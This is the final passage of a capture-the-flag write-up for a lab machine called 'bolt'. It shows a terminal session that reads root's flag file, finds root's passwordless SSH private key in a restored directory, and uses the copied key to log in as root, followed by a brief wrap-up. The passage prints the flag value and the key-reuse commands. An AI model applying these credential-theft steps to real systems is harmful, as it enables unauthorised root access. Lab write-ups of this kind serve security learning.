bolt@bolt:/tmp/ioio2$ ls rest
root
bolt@bolt:/tmp/ioio2$ ls rest/root/root.txt
rest/root/root.txt
bolt@bolt:/tmp/ioio2$ cat rest/root/root.txt
ntrkzgnkotaxyju0ntrinda4yzbkztgw

But we also found a SSH private key without password that allow us to connect as root on the box!

bolt@bolt:/tmp/ioio2$ ls rest/root/.
./                ../               .bash_history     .bashrc           .cache/           .config/          .gnupg/           .local/           .profile          .selected_editor  .ssh/             .wget-hsts
bolt@bolt:/tmp/ioio2$ ls rest/root/.ssh/
authorized_keys  id_rsa           id_rsa.pub
bolt@bolt:/tmp/ioio2$ ls rest/root/.ssh/
authorized_keys  id_rsa  id_rsa.pub

Once copied on our local machine.

ssh root@10.10.10.159 -i ./id_rsa_root
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

  System information as of Thu Dec  5 18:51:02 UTC 2019

  System load:  0.08              Users logged in:                1
  Usage of /:   5.6% of 61.80GB   IP address for eth0:            10.10.10.159
  Memory usage: 42%               IP address for br-1bad9bd75d17: 172.18.0.1
  Swap usage:   0%                IP address for docker0:         172.17.0.1
  Processes:    170
Last login: Mon Oct 21 09:53:48 2019
root@bolt:~#

Wrapping up

What a journey! This box was very interesting I learn a lot about Docker registry in the user part. The root part was quit harder but also interesting. The backup database was quit a rabbit hole for me. But once connected as admin on the bolt CMS things get chained up pretty quick. Many thanks to thek for this awesome box!